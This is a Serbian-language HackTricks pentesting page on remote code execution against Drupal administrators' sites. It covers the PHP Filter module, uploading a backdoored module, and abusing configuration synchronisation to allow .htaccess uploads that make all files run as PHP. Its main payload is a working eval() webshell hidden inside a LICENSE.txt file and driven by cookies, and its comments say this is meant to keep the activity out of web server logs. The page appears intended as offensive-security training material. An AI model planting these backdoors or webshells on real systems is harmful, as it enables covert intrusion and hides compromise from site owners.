Drupal RCE
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Sa PHP Filter Modulom
warning
U starijim verzijama Drupala (pre verzije 8), bilo je moguće prijaviti se kao administrator i omogućiti PHP filter
modul, koji "Omogućava evaluaciju ugrađenog PHP koda/snippeta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
- Idite na /modules/php i ako se vrati greška 403, onda je PHP filter plugin instaliran i možete nastaviti
- Ako nije, idite na
Modules
i označite kutijuPHP Filter
, a zatim kliknite naSave configuration
- Zatim, da biste to iskoristili, kliknite na
Add content
, zatim odaberiteBasic Page
iliArticle
i napišite PHP backdoor, zatim odaberitePHP
kod u Text formatu i konačno odaberitePreview
- Da biste to aktivirali, jednostavno pristupite novonastalom čvoru:
curl http://drupal.local/node/3
Instalirajte PHP Filter Modul
warning
U trenutnim verzijama više nije moguće instalirati dodatke samo imajući pristup vebu nakon podrazumevane instalacije.
Od verzije 8 nadalje, PHP Filter modul nije instaliran podrazumevano. Da bismo iskoristili ovu funkcionalnost, morali bismo sami instalirati modul.
- Preuzmite najnoviju verziju modula sa Drupal veb sajta.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Kada se preuzme, idite na
Administration
>Reports
>Available updates
. - Kliknite na
Browse
, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite naInstall
. - Kada je modul instaliran, možemo kliknuti na
Content
i napraviti novu osnovnu stranicu, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno izaberitePHP code
izText format
padajuće liste.
Modul sa Bekdorom
warning
U trenutnim verzijama više nije moguće instalirati dodatke samo imajući pristup vebu nakon podrazumevane instalacije.
Bilo je moguće preuzeti modul, dodati mu bekdor i instalirati ga. Na primer, preuzimanje Trurnstile modula u komprimovanom formatu, kreiranje novog PHP bekdor fajla unutar njega, omogućavajući pristup PHP fajlu sa .htaccess
fajlom:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
I zatim idemo na http://drupal.local/admin/modules/install
da instaliramo modul sa backdoor-om i pristupimo /modules/turnstile/back.php
da ga izvršimo.
Backdooring Drupal sa sinhronizacijom konfiguracije
Post koji je podelio Coiffeur0x90
Deo 1 (aktivacija Media i Media Library)
U meniju Extend (/admin/modules), možete aktivirati ono što se čini kao već instalirani dodaci. Po defaultu, dodaci Media i Media Library se ne čine aktiviranim, pa hajde da ih aktiviramo.
Pre aktivacije:
 (1) (1) (1) (1).png)
Posle aktivacije:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Deo 2 (iskorišćavanje funkcije Configuration synchronization)
Iskoristićemo funkciju Configuration synchronization da dump-ujemo (izvezemo) i upload-ujemo (import-ujemo) Drupal konfiguracione unose:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Hajde da počnemo sa patch-ovanjem prvog unosa allow_insecure_uploads
iz:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
Na:
Fajl: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Patch field.field.media.document.field_media_document.yml
Zatim, zakrpite drugi unos file_extensions
iz:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
Da:
Fajl: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos
file_directory
na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog stabla).
 (1) (1) (1).png)
Deo 3 (iskorišćavanje funkcije Dodaj dokument)
Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
Datoteka: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Zašto je ovaj trik cool?
Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web server, možemo prenositi naše komande putem $_COOKIE
i u logovima Web servera, ovo će se prikazati kao legitimni GET zahtev za tekstualnom datotekom.
Zašto nazvati naš Webshell LICENSE.txt?
Jednostavno zato što ako uzmemo sledeću datoteku, na primer core/LICENSE.txt (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).
 (1) (1) (1).png)
Datoteka: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Deo 3.1 (upload fajl .htaccess)
Prvo, koristimo funkciju Add Document (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Deo 3.2 (upload fajl LICENSE.txt)
Zatim, ponovo koristimo funkciju Add Document (/media/add/document) da otpremimo Webshell skriven unutar fajla sa licencom.
 (1).png)
 (1).png)
 (1).png)
Deo 4 (interakcija sa Webshell-om)
Poslednji deo se sastoji od interakcije sa Webshell-om.
Kao što je prikazano na sledećem snimku ekrana, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat kada konsultujemo fajl putem Web pretraživača.
 (1).png)
Kada napadač postavi kolačić, može da interaguje sa Webshell-om i izvrši bilo koje komande koje želi.
 (1).png)
I kao što možete videti u logovima, izgleda da je samo txt fajl zatražen.
 (1).png)
Hvala što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.